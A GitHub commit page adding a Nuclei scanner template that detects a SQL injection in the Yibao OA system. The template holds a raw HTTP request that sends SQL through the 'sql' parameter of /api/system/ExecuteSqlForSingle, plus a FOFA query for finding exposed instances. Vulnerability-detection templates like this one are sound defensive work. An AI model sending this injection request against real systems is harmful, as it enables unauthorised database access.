Skip to content

Commit

Permalink
Merge pull request #8758 from projectdiscovery/yibao-sqli
Browse files Browse the repository at this point in the history
Create yibao-sqli.yaml
  • Loading branch information
ritikchaddha committed Dec 4, 2023
2 parents fc308ca + b9b83ea commit 0612c9b
Showing 1 changed file with 39 additions and 0 deletions.
39 changes: 39 additions & 0 deletions http/vulnerabilities/other/yibao-sqli.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
id: yibao-sqli

info:
name: Yibao OA System - SQL Injection
author: DhiyaneshDK
severity: high
metadata:
max-request: 1
verified: true
fofa-query: product="顶讯科技-易宝OA系统"
tags: yiboo,oa,sqli

variables:
num: "999999999"

http:
- raw:
- |
POST /api/system/ExecuteSqlForSingle HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
token=zxh&sql=select substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','{{num}}')),3,32)&strParameters
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'data":"{{md5({{num}})}}'

- type: word
part: header
words:
- application/json

- type: status
status:
- 200

0 comments on commit 0612c9b

Please sign in to comment.